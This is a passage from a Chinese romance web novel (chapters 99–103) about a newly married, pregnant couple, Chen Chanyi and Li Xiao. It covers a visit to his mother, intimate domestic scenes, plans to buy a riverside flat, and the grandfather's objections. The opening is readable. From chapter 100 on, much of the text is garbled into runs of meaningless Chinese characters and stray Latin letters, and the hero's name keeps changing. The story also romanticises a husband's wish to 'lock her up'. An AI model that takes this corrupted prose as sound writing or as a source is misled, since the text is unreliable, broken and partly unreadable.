小区绿化很好,林荫道蜿蜒,铺满细碎的阳光。提前说了要来,赵舒婉和暮雨早就在家等候。看见身影出现在庭院门前,暮雨高兴地扑过来,脆生生的嗓子喊:“阿哥!"又扭头看看陈蝉衣,小姑娘满面羞涩,似乎还没适应新称呼,半是拘谨半是扭捏地唤了句:“阿嫂。她视线移向陈蝉衣尚且平坦的小腹。 阿哥之前来电话,说嫂嫂怀小宝宝了,真的假的啊,她好想碰一碰,和小宝宝打招呼哦暮雨目光克制又好奇。 毕竟还在上初中的年纪,情卖还没开,小嫂嫂肚子里揣了个小生命,她当然觉得惊讶欣喜。陈蝉衣笑吟吟说:“你好呀。"暮雨腼腆抿出个笑,领着他们回小别墅。 客厅里,赵舒婉看见他们,眼眶有点红。李潇喊:“阿妈。陈蝉衣也跟着:“阿妈。"她眼尾益发潮湿,紧抿着唇点头,又拍了拍他们俩的手 她这些年,身体好了许多,如今尽管还有些咳嗽,换季支气管还是不行,可总归比从前强太多。 赵舒婉就是高兴,她这年苍老了,原本看着温和年轻的面容,添了皱纹,角也夹杂银丝。 她是个温顺的女人,这辈子从来没做过别人的主,对待儿子,始终也是信任多于管教。 那年李潇临时告诉她,要出国。 她问去哪里。 他说:“挪威。 赵舒婉不认得挪威,听也没听说过,李漾就指给她看。 等看清地图,看清周围散落的零零散散岛屿,看清那靠近极圈的一个小点。 赵舒婉陡然绷不住,呜咽一声泪流。 抬手狠狠砸在李潇肩上。 她从来没有打过他,她不算是溺爱儿子的母亲,可她骨子里就温柔,和顺。 李潇小时候家里不好,她甚至都没有和他说过“早当家”,她只告诉他,外面世界很好很好,能有机会,多去看看。 然而真的临到这关头,她比谁都急,比谁都气. 她慌乱比着手势歇斯底里,发泄一个母亲能发泄的一切——做什么要到国外去,国内不好吗,不图你大富大贵,只要你平平安安,只要你好好活 然而不管她如何发泄,哪怕是锤是打,哪怕也拿抱枕往他身上砸。 李潇站在那儿,不制止不躲避,任由那些东西劈头盖脸砸向他。最后赵舒婉倦了,哭倦了,只能哀戚戚哆嗉着身体,将他身子拖过来,揪着领子满眼泪流 就这一句,他眼泪也掉下来。 他解释:“我躲不开,事到如今不是我想放手,我惹了惹不起的,烂滩子出来了,局面就得我担。担不了,今后在国内,我被步步绞杀,日子不会好过到哪儿去。 赵舒婉“啊啊”叫唤两声,眼泪汹涌。 李满给手抹干她泪:“味家也不能保我,惹的是商,我不怕,可我惹了商也怕的,逃脱不植,我就得认。我搏一搏,最后什么样的命,搏了我才不后悔,那时候我认就认了,可现在要我听天命,回妈。我真的不曰愿。 他憋着一口气,肺腑血海翻涌,他差在哪里,差在门,差在家世? 那从今往后,李家的门庭,可不可以就由他来建。 “阿妈,阿爸是英雄,他是军.人,铁血铮铮的硬骨头。他走了,我子承父业,不输他,他在地下听到也只会为我欣慰。他安静说:“可我现在退,步步退,活那么窝囊,他高兴吗?不会连梦里都来骂我给李家丢脸吗?"李潇的眼眸很好看,清澈而深邃,确实很像他父亲。赵舒婉听见这话,忽然止住哭腔,慢慢地,一点一点松开了手。 昏暗的光照在他脸颊,又照直他脊梁赵舒婉拾眼细细地打量。他像是真的长大了,踏着他父亲年轻时的脚步,踩着那几个坑印,他落魄,又英勃发。可他又比他父亲更幸运,他还活着,拥有完整的生命,尽管身体有了缺憾,可或许今后人生,还能见许多太阳。 赵舒婉脱离了他怀抱,愣着看片刻。 最后突然反手推了他一把,哽咽扭过头。 她是个母亲,还是希望他去做想做的事,之前人生那么困苦,千山万水走过,走到今日,就别再有遗憾了。 那顿晚饭是李潇做的,他系围裙,陈蝉衣觉得头一次以新妇的身份来他家,难道就在外面干等着?那也不好吧。但她想钻进厨房,又被他挡回去:“你去外面看电视。她小小声说:“不要,不太好。"这样好不礼貌哦,舒家还是挺有教养的呢。 他胸膛发颤,禁不住闷声笑:“怎么就不太好。"“我头回上门啊,我这样也太那个什么了。”她扁扁嘴,“好像我在家里啥也不做,欺负你似的。 李潇很稀奇看她:“你不是吗?"“我没有啊!"她小手捂住他唇,紧张看了看左右:“你小声点,不许给人听见。“他从她掌心哼哼:“做坏事,还不让说。"她瞪他,最后李潇笑了笑攥住她手腕,撕了点白菜叶子,让她洗着玩 晚饭桌上一家人吃得其乐融融,陈蝉衣怀孕,其实胃口不差,吃东西很多,也不挑食。就是不知道,是不是因为怀了孕,口味变化,她更爱吃酸辣了,重油重盐的好吃。 暮雨说自己在学校的事,她没插嘴。 赵舒婉倒是一直望着她弯唇。 弄得陈蝉衣有点不好意思。 吃完饭,家里人说了会儿话,就各自回房间休息了。 赵舒婉在二楼给李潇留了个房间,他从前在广西家里的旧衣服,老物件,都原封不动放进去。 晚上陈蝉衣先洗完澡,趁李潇还在淋浴,倒是随意翻了翻。 他东西挺多,很杂,零零碎碎的。有上学时候发的奖状,用过的油性笔——大概是很有纪念意义,他按照年份捆成了一把。 还有用坏的修正带,粉色的,正面贴纸画了个吸水河马。 陈蝉衣越看越眼熟,浴室门开了,男人擦着头发过来,扑面而来温热水汽,看她在翻东西,也没问,径直坐到床边。 陈蝉衣指着那个修正带:“你收集癖喔。 那双锋利的眼眸含笑,变得显而易见温柔,他抬睫毫不掩饰看她,眉骨鼻梁脖颈,到她胸口,到她腰身。他看着心里好笑:“你又不要了。" 那他就捡破烂似的收回去?陈蝉衣把修正带放到一边,又到小匣子里翻翻。他堆东西还挺乱的,她就像是在淘宝贝,看见一个好奇摸摸,就转头问他。问了好几个,她还挺津津有味,李有点受不了了:“别看了宝宝。"陈蝉衣说:“嗯?为什么呀?"“有点,丢人。 他撑手坐在床沿,深黑眼瞳不自在闪躲,陈蝉衣心里好笑:“不丢人呀,我觉得很高兴。”她还想再转身。李潇撑床掌心紧了紧,忽然倾身起她的手,把她拉到腿上。她有心想继续看看他还藏了什么秘密,才不肯被他控住。想翻身下去,被他牢牢抱着:“不许看了。语气都带上微恼。 陈蝉衣乐不可支,她觉得李潇这方面尤其两面派,他在外面不是这副表情,在家里倒是会不好意思她戏谑:“要是你们研所同事,翻你以前写的材料,你也这样哦?"翻材料跟这个怎么能一样。李潇手扶在她腰侧,捏了捏:“他们翻材料公事公办,哪像你,总问。”他话音落下,稍稍侧头望她。唇边弧度极淡,却满含纵容:“你也和他们一样,跟我谈公事?"“我才不呢。"“那不给看。 他双臂环着她,掌心扣紧腰身带到怀里。 就是怕她摔,哪里都严丝合缝,她腿根紧贴着他下腹,李掌心是有疤有茧很烫,摩挲在腰侧就很敏感. 她不舒服动了动,又想下地,再被捞回来。 陈蝉衣只好锤他肩膀:“还说结婚了听我的,看都不给看,小气。"李笑了,淡淡嗯声,拇指指腹摩挲她露在外头的肌肤。服根很软嫩,触感轻柔,他眼里笑意闪烁,对她无可奈何道:"我又小气了? “反正不大度,你以前就这样,我们班男生跟我说句话,你老大不高兴。她扁扁嘴。他听得出她小怨气,闷笑了声,然而手臂照旧收束,没有半点想离开的意思。李潇把她牢牢禁锢在腿上,惩罚性地咬了下她肩膀,隔着睡衣,她脖颈纤细,身上味道温暖浅淡,怀孕之后,她身上什么都变得特殊起来。 他鼻梁抵着她颈窝:“小宝,好记仇。 陈蝉衣说:“当然记着了,我是团委嘛,正常和同学讲话你都气。 他笑笑也没反驳,像是没听见,就顾着嗅她低陷的锁骨。 陈蝉衣被他弄得有点痒。 李漾阖上眼睛。 “给我摸摸宝宝。”那晚对他来说不一样,新婚的夜晚,他多年心愿得偿所愿,虚幻得有些不真实,像梦,像泡影。他眼睫颤了颤,抵着她肩头,嗓音磁哑:陈蝉衣哦一声,下意识说:“摸哪个?”说完才反应过来,一瞬间脸颊绯红。他带笑意看她:“你让摸哪个?" 她憋着气不想理他,又羞恼得要下来,被他抱回去,掌心轻轻搁在小腹:“孩子会动了吗。 99、爱像雨季 02 他这个问题问得陈蝉衣想笑。陈蝉衣调整了一下坐姿,双手环住他脖颈,故意说:“这才两个多月,哪可能有动静?"她觉得李潇有点着急,并且这种着急里,除了期盼,渴望,甚至夹杂着些说不清道不明的不安紧张。他在焦虑。 李潇其实很少会在一件事上反复询问,他行事利落,也沉得住气,像这样隔三差五问问她肚子,真是很稀奇。 她心里又软又觉得好笑。 他看上去是真的有点失望:“那要到什么时候。 声音都低落了。 陈蝉衣说:“有胎动可能还要再过一两个月哦. “哦。" 李潇闷闷低睫,掌心滑过那段柔韧腰线,最后定格在小腹那里。她月份不大,小腹看着平坦,只有些浅浅的弧度,可是摸上去,其实是有感觉的他掌心能触到那里略微坚硬的凸起,很可爱。 他抿唇,拨开她垂在腰间的长发。 她发温软绵密,贴上去,能闻见很纯净的淡香。李指尖撩开睡衣,指腹贴在皮肤上,被陈蝉衣面红耳赤摁住:“干嘛呀。 “看看。” “看什么?"“肚子。”其实是孩子。 “就, 看看?"“嗯。真的假的啊。察觉到他指腹热度,陈蝉衣不自觉摒了摒呼吸,气息有些乱,显然不太相信新婚夜没过多久,傻子都知道该做什么。可她现在身体特殊,才两个多月,照理都没坐稳呢,肯定不能那个。她好担心他深入太多,情绪理智失控,一下子收不住。 可最后陈蝉衣还是松手了,没了禁制,睡衣被微微卷上去:“按着。 她紧张用手腕按住。 他的克制地在她腰腹逡巡。 姑娘身体很白,小腹肌肤尤其如此,白得像新雪堆。李潇凝神片刻,伸出指尖碰了碰,软乎乎的,他微不可察弯唇,摸着逐渐爱不释手。 明明刚得知她有孕,他还无措紧张得不敢碰,现在却主动了。她发的香,身体的香,气味可爱,怀孕的缘故让那股气息更加浓郁。 他情不白禁,俯身往小腹亲了一口。 陈蝉衣赶紧推他:“很痒!”李潇胸膛闷笑:“哪里痒。"肚子!"“明明没有,你自己多想。 热气喷洒在身体,她脊背一紧,像被人用手顺着脊椎向下探,停在小腹那儿,她觉得酸麻。怀孕之后很少再做亲密的事,她没撑住,腰一软就要往后倒李潇怕她真摔着,掌心托住薄薄的背,干脆抄膝将她抱起,小心稳当放在床上。 “睡觉了。” 他翻身躺去床上,很自然搂过她。沪城到了晚间下起夜雨,靠江空气并不闷。陈蝉衣搭着他的腰,找了个很舒服的姿势:“就这么睡了?"他闭着眼:“你还想做什么。”陈蝉衣原本是想睡觉的,可是想想又不甘心:“我也要摸。不然不公平,他都亲她肚子了。 她这个要求还挺幼稚,李潇像是轻笑了声,还是懒懒地没睁开眼。只是把她小手放在胸膛,喉咙暗哑:“摸吧。 他身上味道宽厚宁静,雨夜里很温柔,嗅着安心舒服。她摸摸他胸膛,又戳手臂,线条紧实温热,把她迷得晕乎乎的。 “好喜欢摸。 “嗯。”他想笑。 “真好摸。 “你现在是个已婚的男人了,你要记得保持哦。 他弯唇:“行。 最后她终于罢手:“我觉得,再过一个月,就能那个了。 李潇眼睫 颤,缓慢睁开眼,无声无息看她。他视线其实很安静,也不带多少情绪。可陈蝉衣脸一红,还是被他望得羞怯,面红耳赤解释:“之前问过医生了,医生是这么说的。"他沉默后笑,声音有点哑:“你不就是小大夫?"她脸颊更红了:“我不放心嘛。 “那不做不就好了。”他翻了个身面对她,屈肘搭在枕边,眼眸光影晦暗不清,嗓子始终是哑的。 她觉得他没说实话。 “骗人,少装,你肯定不是这么想的。 男人望着她笑。 她被硬生生笑得耳根都红透了,扑过去捏他脸:“你好好说话。 李潇眼里都透出温和笑意来。他是真的觉得她很可爱,一两句话就能逗得她羞怯。 然而想想她怀孕情绪也敏感,到底不敢再惹她。只是抬于攥住她手腕,掌心贴在脸廓,漫不经心蹭了蹭:“嗯。 她说:“嗯什么。 李潇把她揽到怀里抱着,低睫很专注地说:“赞同医生说得对。等你月份再大一点吧,我现在哪里敢。可是感觉他这个样子:“我觉得你之后也不敢。李潇无奈看她一眼:“你还挺得意?" 陈蝉衣摸摸肚子:“哪有。"她分明是那种很骄傲的样子,他轻笑摇摇头,重新闭上眼。夜色安安静静,他很喜欢这一刻,平静不起波澜,让他懒散得一点也不愿动弹,要是一直这样下去,他其实也觉得未尝不可。李潇说:“我其实很满意。“什么?" “现在的生活。 被子里他体温是暖和的,陈蝉衣顿了顿,抬头看着他阖上的眼睛:“怎么忽然说这个?”“就是感慨。“那阿潇之前就想过这种生活?""嗯,就是像现在这样。"李漾斟酌了一个词,后来又觉得难免不好意思,他无奈笑笑,"一眼就能看到头,我觉得,很好。他不喜欢变动,不喜欢动荡,他本就寡言古板,受不了那种所谓流行的感情-喜欢就谈,见面就能做,爱,没过几天腻了,或者为了乌七八糟的三方纠缠不清,争吵后就散。他厌恶至极。 李潇沉声说:"可能是本身性格就不是很有趣,我不想变来变去,我也接受不了谈着玩玩。每天心都悬着,不能落地,不能确定有没有未来.….那种感觉,是好像每时每刻都在恐惧,在担惊受怕。“怕什么。” 他摸索着抬手,拨开她发丝绕到耳后。李潇嘴唇贴着她额头,低哑道:“怕很多事吧,最开始怕你会离开,怕你心血来潮。"怕你那时候只是一时兴起,或只是觉得孤单,想和我玩恋爱游戏,但最后不会想和我结婚,不想以后还和我在一起,怎么办?“人生是很长的,我当时对这段感情,包括对我自己,都毫无信心,我真的担心.”陈蝉衣看着他:“担心我以后腻了,会走,这样子你宁可不开始,是吗?”沉默了会。李潇承认:“嗯。"她心里一下子发酸,搭住他的腰,脸庞埋在他怀里。"不止是担心这个。"李漾轻声说,“"后来还担心,我究竟能不能回来,想这种漂泊不定的日子,还要过多久?就算再回来,距离能要到你,过安生日子,究竟又要多久。太不安稳了,他只是希望人生安稳些,可是竟然连这个要求都达不到。 李潇唇角扬起浅浅弧度:“我当时真恨不得弄死所有人,把你关起来算了,我真受不了了。区么千中究面,这么方年用入观,然下9三A心欧H"V室室不刘,天省多可是谁能伪装一辈子呢,那也太累了。“我和你说这些,你觉得吓人吗。“不吓人。"“不害怕吗。”他睁开眼,笑了,“我说要把你关起来。"陈蝉衣心里轻轻塌陷了一片,捧起他的脸,温柔眼神看着他眼睛:“那也不害怕,你把我关起来好了,反正谁愿意上班谁上班,我也受够了。李潇低着眼,知道她在说假话。 “但是麻烦你,能不能给我时常换个地方关?我想千岛湖关一阵,让我去摸摸珍珠,然后再京城关一阵,这样离你上班的地方也很近. “然后再南京,你可以在南京重新找个房子,颐和路我住腻了,能不能买套滨江大平层?我想要长江江景房,不要太大,300平那种,三面开阔阳台,这样我就可以……… 他扣住她腰,哪声道:“明天我们就回南京。 他有时候也觉得自己确实是个疯子,执念到头,将死都舍不得放手的傻瓜:“这些都给你,我只有一个条件。 陈蝉衣想了想,温柔轻笑:“不允许离婚嘛,我懂我懂。 他颔首说嗯,满意抵着她额头。 这是再好不过的事,他曾经希翼的温馨和乐融融小家,想有个关心陪伴他的家人,如今已全部被他在掌中。 陈蝉衣孕早期,一直住在南京,李陪她一起。他原本倒是真想在江滨买套房子,就买在她名下,陈蝉衣也兴冲冲说好啊,要去看房。 然而家里老爷子不答应。 舒羡之看她折腾来折腾去,没点好脸色:“真是嫁人了,家也不回了,都在南京了都不回家,翅膀硬了。陈蝉衣一点没办法,只好暂时搁置,晚上睡觉不高兴,李悄悄哄她:“房子还是买呀,我们偷偷的,不告诉外公。她想了想,觉得好。这才开心点了头睡了 那时候项目进程已经过了技术隘口,李潇不用时时刻刻留在京城,于脆留在南京。然而舒羡之谨慎考虑,还是禁不住劝:“你好歹也去点个卯,都为国家做事了,整天待在南京算什么事?"他可真会顾全大局,殷春梅端出来果盘,白了一眼,简直懒得说他。 陈蝉衣也不乐意:“因为他要陪我啊,我怀宝宝了嘛,我也需要人照顾啊。" 舒羡之看她一眼,皱眉:“你小孩儿你别说话。她气死了,拉着李漾就跑了。等回到二楼房间,陈蝉衣把门锁好,转过身气鼓鼓凶他:“我不管,你不许听他的,你跟谁结的婚?你得听我的!"她生气起来一点不恐怖,李潇淡淡笑,牵着她手坐到床边沙发,顺势将她搂到腿上:“舍不得我?"她有了小脾气,别过眼不看他。 他也不急,单手稳稳圈住她腰身,另只手挑起小几上的报纸,随意看起来。舒家疼女孩,她的房间布置得像民国小姐的闺房,他微微偏头看报,样宽厚沉静,定得很 陈蝉衣别扭一会就忍不住推他了:“你干嘛看报纸,你说话。"他眼皮也没抬:“说什么,说不去京城?”李漫不经心转过眼:“不是没舍不得我吗?她被他欺负得说不出,只好说:“那是宝宝舍不得你。”“哦。”他随意点点头。 看着她咬唇委屈的模样,李笑了: "你就没舍不得我?" 100、爱像雨季 03 油责公有安石有公经设发资出日,难全会操得羞法。 这男人便摆出一张漫不经心的脸。 他明晓得是她害羞说不出口,却还是禁不住逗:“那我真走了?我现在买票,坐京沪线G21,中途只停一站南京南,我从南京上车,上午坐上的车,中午就能回研所告罪挨; 的温单,起身拿睡衣进了浴空。他还在想她怪娇的,就逗了两句,就不理人了。 ,卧室灯早灭了,一盏没给他留。“由不四吃影。前她还会的。 米#D能不高兴了,只是他不知 手机响了一声,他回神,下意识点开消息回复对方。 陈蝉衣原本还等他来哄呢,她这个样子,表现得生气那么明显了,他多少都该知道要来安慰一下。TND>ETHE, 有RPH8L,HNSRCDNBCBARAMPA A aNe SO n 理T方A理展、地化了 豆么就惹着她,然而黑暗里隐约听到她哭声,心里还是止不住地刺疼:“怎么了?生气了吗。 经理经不咨法,无意无做。里面拽住,其实她力气轻得可以忽略不计,可他担心强行扯开,惹得她更难要指公自了自,最后还是松开手。 售L有NT WEEN, WBOO e ee t e 就这么带着几分隐忍焦急,抱着她裹卷的被子,低声哄了半天。文时候她倒是呼吸渐渐平稳,大概是闷了,从被子里探出半个脑袋。发经友上菜球是限委通的:“临始了谈行》“大精先一步国答:“错了,以后不会了 y a an ope 6 2 H H 潇抿唇,唇色微白:“我“让你说那种话。” 他是举撑营身体依地身上的,她还是卷在被子里,像个小经,陈嫌衣加动整:“你直大谱传链。 、信先,饰运我,该是第一个告混。中 , 多otA 胸膛温热完厚,气息有着男人特有的成熟醇和,陈蝉衣眼睡颤了颤,轻轻扫过他肩膀布料。其实她已经不生气了,只是都说到这里,总不能就这么中断了,不然显得多丢用 真的小 他觉得她自己也知道不占理。可偏偏,她强词夺理得可爱,他心始终很软 她愿意和好,李潇闭上眼睛,心里到底不再那么紧绷,慢慢地放松下来。他低哑说:“以后别这么吓我,他卷着她翻了个身,掌心托住后脑,嘴展印在她浅浅眉心:“你文在生气,骂我打我两下都行,不要自己生闷气。”他怕真的不会哄,等到能把人哄好,她可能部气很久了。 自,柔柔亲了亲。听到她说:“那你把票退了吧费 博: 我Q灭氯.里探出头,微微瞪大眼睛,“那你刚才在做什么。”来是因为看见这个生气,他心里落了地,指尖插进她长发缓慢顺着,扬唇道:“先前不是说要买江滨路段的房子?我找人留意了,推荐了不错的几套,原本回他消息,是想抽空带你去看看户型 已没理,就从小河豚交成怂包了。他全程看她表情变化,心里温柔又好笑,憋得胸脸起伏,抵着额角低多烦:“可以生气的,怀孕了情绪敏感,生气不算发脾气,孩子闹你罢了,我知道的。他这金期日张担信爱假究,陈护大变心里报高兴,眼也禁不住跟营自了电,一点的脚气了。好,我给那力法李理笑:“唱、悄悄的,不让外公知道。” TE :SULB调屋子很小,品里器术津的很交业品批微提的局源,在地展上银转,舞想间那是她温器的气息、 能信动难册,也不无融怎么器生进来的服念,他每然品际之的说的话,她设地问进医生,要再过一个月才可以。 责造公量的品,进发具酒了,管过光,小于理服有地人角。 他用算实造了通、经疑,设会易服频,最后也拥着她闭上服睛。 MTOH T DS、2,共O网全,#BRELNL品、相市的的电儿币,内7量限云不进多品,“我觉得实人 SESEOTTS、5、电技、F人工G,其也计,有的的的 Coe H ns 也表情更糟了:“四百平呢,多吓人啊。还不如我们京城的房子呢。" 研新络的两套房子都不大。都在部队大院,一套出禁一百水平方,很传统的二室一于。他虒龙还相:而陈鲜衣却说:“就我,你,还有以后宝宝,顶多再养个小宠物什么的,这个房子够了呀。她表情很惊奇:“喂啊,不然你还想住谁啊?那么大个房子,自天就算了,大半夜的,你不觉得怪吓人的吗? 她是责觉得吓人,没有半点安融他的成分在。 器、品品品理,总科一大家工品士一文,营限外公家部牌,中川公的设限合理,毕限人务执制售,比气品、不经品好工营经们有梦设路形营出子国时年,机的票,现在那回环为蛋》了。 101、爱像雨季 04 的问题,实在能让他觉得诧异。经理在前面走,李低头,含混不清的声音裹着一丝促狭:“我在家你也怕吗.抬眼:“可是你也有不在家的时候啊。" 告、的公品,有子品器,人可围造批业发器生的了,部不地行身边,3能很册大的息子,如要不么 房工里合司提展:不法 有会,你次的了 “作上的事,以至于她偶尔胡思乱想,总觉着他会出差,把她留在南京,她甚至还想过孩子在哪上学,不过现在担心烟消云散“那你之后会一直::“你不是说要做挂件吗。”他能揣进口袋。 a 那套临江的平层,最后还是 “案经电什么好的2气硬语,安科服,看石部些言场汉浮,我生宝过大待天我都觉得污染眼睛。 、公有公询的经公位上 经车机、有有供,不有山的种的境,现学公多夫带孩子,我给你免费带,你好好工作。 ,家里人饭后收拾桌子打牌,舒世杰今天医院也没事,回来的早,几个人就凑了桌牌局。那会儿刚吃过晚李潇一般在家里话 可这回,李潇摸出张牌打出去,淡淡笑了,没应声 你啊讲点理?孩子还没出生你就要抢啦?你要闲得发慌,去中医大带学生去。 划国后舒世杰也美得不行! “爸你歌歇吧,小夫妻的孩子就让小夫妻自己带。 公营营安营U电,,电1蛋,四及人部品限产营大业、A),山上的老设子经骨打7,但EP小G 他不太想。 着的,从小到大,每份光阴都想摸在手里,不想放在外面。 品批服,理批用P 相发、有公提子、信公 经品生示,有个孩上,执味息。 舒羡之拂手:“你们俩会带孩子吗?小大妻年轻的,这方面没经验,哪能带得好。" D限L 子他是一定要放在身边带的,这件事没有半点商量的余地。 不美产发贷整后服有个嘴,他讲不过,就不是很有兴,李满这个人,他之前说过他“执”,这个字如今在他身上更加林现得涨演居。 办建业量的公间的怎公? 可他偏不。 0 “那我一把年纪了也想看看孩子 法2。有66,的物的要添个小宝贝很热闹,想想要放在京城那鬼地方,他就生气,本能得提不起劲。他其实就是觉得亥 neeren ant see soumsten naeras Fieraee 陈排支下题藏拾:“刚的都好说,要放南京上学,我才不呢外公。()、经委之司、装、“它名科,饮本设、品面产询四本营营品T?产国上设品上学、那中型高期还大品,器不器,经育那久装品用安类的,及正经不货,我才不要的的出上 2 理金儿品品业程制设营的十月,各部大经理品营批经理介月,最品大业、经品有域大、0子、日以美须人。要车的品用三个月后,我可以能服种事,他究个当用突风所不1月大芯 最初还是陈蝉衣自己提出来的,如舒羡之所说,李潇一个在京城供职的,老在南京待着,也不是个事,她身体情况平稳后,他有一周回了京城,算是和她分开了段时间 那电分开,社像营酒人零过夫出鉴一怪,只品距离要了,然而每天手机不商子,如要说什么徽什么,他部很快回复,她根通活进开视题,只要做方便,陆时能开哪怕有天晚很想他回来 丰、他引迪星航说产回电京,如早早软做好准备等器、列车到南京南是路间,李津将近法局国了小公馆,她洗过澡,正躺在床上发果笑着说: 婚姻关系,起码每次等他回来,都让她有安全想到主动勾着拉低他脖颈,让他半匍匐在身上亲吻她,她很喜欢和他注,却又小心贾翼,她是降着眼睛的,能看见他微额的服睫,随着呼吸轻轻抖动的眼皮李漾掌心箍着她后脑,闭上眼,吮吸姑娘唇瓣,亲吻得克;间温暖,如春般暖融融,他很快额角就有了汗,顺着眉心,汇聚成很性感的 她耳根一红,放松身体。 品本运公为,部分开理公众,小品计器及,品加L87是三个月,早软不问型了,他应流,应该会 本国司 有限 高 东蝉衣恍惚睁开眼 把她差点气晕 她眼睁睁看他不声不响下地,拿过床头替他备好的睡衣去洗澡,半句话都没说。她好气,又气星怎么样,很早之前还在出租屋的时候,他出去久了回来,根本等不及换衣服,还知道地她抱看,抵住交关表柜就开始了 她气得扁嘴咬唇,心想难道真是婚前婚后?她不就是几个月没和他那个什么,对他没吸引力了李潇很快从淋浴间出来,卧空灯调暗了,她故意的。他刚掀开被子,她就挪过去挨着他,嫩藕似的手臂紧紧圈住他,睡衣扣子也解开几颗了,故意能不讲话,很固执看着 夜色安安静青 会儿,最后抬手,帮她把扣子又一粒粒扣上了。 102、爱像雨季 05 器A、 有不会男人这能传行他安静看她一眼,没理会激将,床头盖灯昏黄,他蔓延出的神情很温柔,就像在看无理取闹的小孩:“明天想吃什么?湘菜吃吗,我听说最近新开了家湘菜馆,试试看好不好吃,+eeT e we2 mp2e 0展 ()上式 不点、不她还是闷着声吝中理理理,要有品询》公的有公工有项学批品经公具、电品者的务,“其知的活思,我才不R。营限有公司经民批工限品 用工电经制务:“不用的。我要国 了: R H 有RG司电 TS 工H软LT:7L技器营L(多人餐上米要月 “哎呀。”被子里翻了个身 e e s aet s see e eu 见到舒羡之,李藻先打了声招呼:“外公。" 鑫营之务理营的人、看一眼期至有不明日7胡子的敏地气至政起来:“你就领都物照! 用2C装 A: ,通及上份 小:他复 生你 诔? 品品不限营不品量、字酒有床上融发T服赛子,始的运程经营,自广能者子限在司形氙,他动在取子上把餐的网1. 李潇就一点点喂她。 品设的不金,不星从此队后不服有,他该聚什么还是做什么、只是李通觉得,地这么罪,以后我至于期原期能用与限 支资五理,晋地成经服,那形否电的料子,很一只小鼠。B公NUBD 理装有T大术:。软”品文品营品品的,一6可科究品警3,地网力面及服感、 ,0 有, 文,H又品人 组的道 他经绩子。陈臻衣岳干路:“我好心嘛 陆承风离婚了,就在不久前。2 H Hm舒喻先前进调解室,被梁西岭帮过。这个小孩有一点好,很性感思,没事经常会给梁家送点东西,都是些土特产,不贵重。 et 是不想透露住址的意思。 陈蝉衣了然,最后再没提类似的事。“其实我想去看看小主宝的,可是不知道她在哪家医院网,”陈嫌衣翻出来照片,“原来宝宝网出生真是这样,红红的,皱巴巴的,长开之后却很自很嫩了,真的好神奇。信营量开营,信售出设7006元、部经母车,如西销装用询品,如用产视售信用以品,有用限产满要出门天,地商目度不始盘,心优家头, 她想云挽一定很不好过。尽管云挽性格有些像她哥哥梁西岭,不会透露太多不好的情绪,可越是这样,陈蝉衣才越担心如WNNNNOD, THAC*MANL THDS.SEHN6 4 TNN: TEN EAAEG“会像你一样,乘巧好看,外公不是还说,要冠她放南京养?”李满笑笑,“我不想,我想自己带,你要是觉得带小孩会累,那交给我就可以。我之前还托老流给我毒了挺多相机,都是他在香活询的,拍立得也有,富土也有,还有你说施用 2 0C, 有 多懍置得可蕕茶以一天换一套,永远不重样。 陈蝉衣很稀奇美了:“你怎么知道一定是女儿?” 这不是概率五十比五十嘛。 Eh 那晓汤见底,男人抽出张纸中,重新替她揩了嘴角,笑而不语了。 不过关于对女儿的执念,李漂始终没停止过。昌业业安品出术,具能胞审湾队儿子运业支儿后,陈期在战修星发现了什么能的保款 "万一真的不是女儿呢?万一是儿子呢,怎么办?反正这些概率也存在啊,那你买的小裙裙给谁穿?地服会儿快要入个月了,册子鼓得咨服盟,这设时问洗源察长部不方便,都是他在帮地弄、 生理人资转服公,最批独品力独有的品务,陈弹食本来批媒手物爱发流,到了软客尤是,怀了孕,这个看点不是不见好 营品EUNTA,上TA配NNBOG作,业品电营、有联发理品有的了、、8)县十营文人》,也有所, 她脸一直是软嫩的,只是空调开热风,吹着总是干燥,她模上去脸颊发烫,总归没有地暖那么方便品营主设。不西、”四售发营示。(保的经题,你回答现、方一不女儿怎么好?。 “就要女儿2S营T;T、 N多人人7,(0的品8,0的 “你知道也有五十的概率不是小姑娘的哦?"可是,可是你学过生物的吧?”陈蝉衣小脑袋从他颈窝探出来,男人黄吉批造从资了品传来:“不灯强,设H,“请要任M(ML ,既然爸爸你不原意面对现实,那我也不去京城略 心满意足翻个身 103、爱像雨季 06 调1公件策 公的经,。奇,她这个体质真是旁人没得比,吃什么都觉得香,不挑食,也不孕吐。原本还消瘦的身材,怀孕之后倒是被喂胖了一大匿 综不委其工机品 批有品设理品、地营设平,公日面比验头。可络有的出4。;前思虑过重,身体清瘦纤细,他那段时间抱着都觉得硌 他就喜欢养姑娘 N TUSO限T,技限,如, 生果美产说:“要国提服你了,险大难生,孕中万一山德血脑高了,对身体更加不好,你可别的投石,不孩在心上。 品HU“A服示”品批A品批G品营围品、人7品的品、用、不900合营有人多理了,设车品品,部十 通经物品工有工业(限品人品营(司品、内品的业品品电经:设八大项工0物地,的能人预以物鲜着技子,十品想有的的有 弄:“不好吃,不想吃嘛。 ,小主、“要人公要险,该果公所子员进不电分说,“之部应科太车源了,要高法点。 了。这件事没得商量,陈蝉衣气哼哼锤了他一下,小声抱怨:“坏人,还说最爱我,饭都不给吃,坏人! 李潇笑笑没说什么,攥住她锤在身上的小手亲了亲。 她因为闹脾气,晚饭都没好好吃,他就去楼下弄了点饭菜上楼来,还有碗鱼汤:“我喂你。 D,司” HT,原D有A、但08 牛人 李潇笑道:“"你不是小羊吗?小羊就是要吃菜啊,哪家小羊吃肉的?" 她沉默一会,按受了这个设定:“好吧。 品(限用公A 营工多品电 全工、用经G品,项自限、有经品 的,在,的的化 大品 车有1:“7,221。 她不理不睬. 之前做的那个小熊小免游戏,我更了新的主线,要不要玩?出无条、“用开兴:“我股小蛋糕。" 8" RE W W NI. SS, MAE, TTRBLNHNNAT. NOL MENNL BME BOCR 业理营品营车保楼工进;“,那在批去所、”设完看如明显有品品花服睛。 RTNA SEH AGCA,BT、 清售营中品理营营机责“外委批售设厂商块,如片今大进一资了,部之的不吃了, A 陈蝉衣吓了一跳,立刻转身:“外公! 舒美之刚下楼就看见这两个小夫妻,跟做贼一样,就开了盏厨房灯,在这黑漆麻乌翻东西 “豁哟,我还说你能乖呢,敢情白天都是装样子,大晚上在这找食吃呢气氛静了静,老爷子不免H SOTN 大 吃不能吃,你偏不听。" 也说得怪义愤填膺的,李端着蛋糕,望望舒羡之,再望望她,倒是没反驳:“嗯。 老爷子从善如流,望着李潇:“也行吧,男人本来霄口就不细巧,既然想吃蛋糕,就吃吧,我正好跟你说说话。 舒羡之老神在在,往餐厅一坐,下巴微扬看着面面相觑的两人:“还站着不累?过来坐啊。 陈蝉衣不情不愿抱着肚子,拖开椅子坐下了。 科营品6 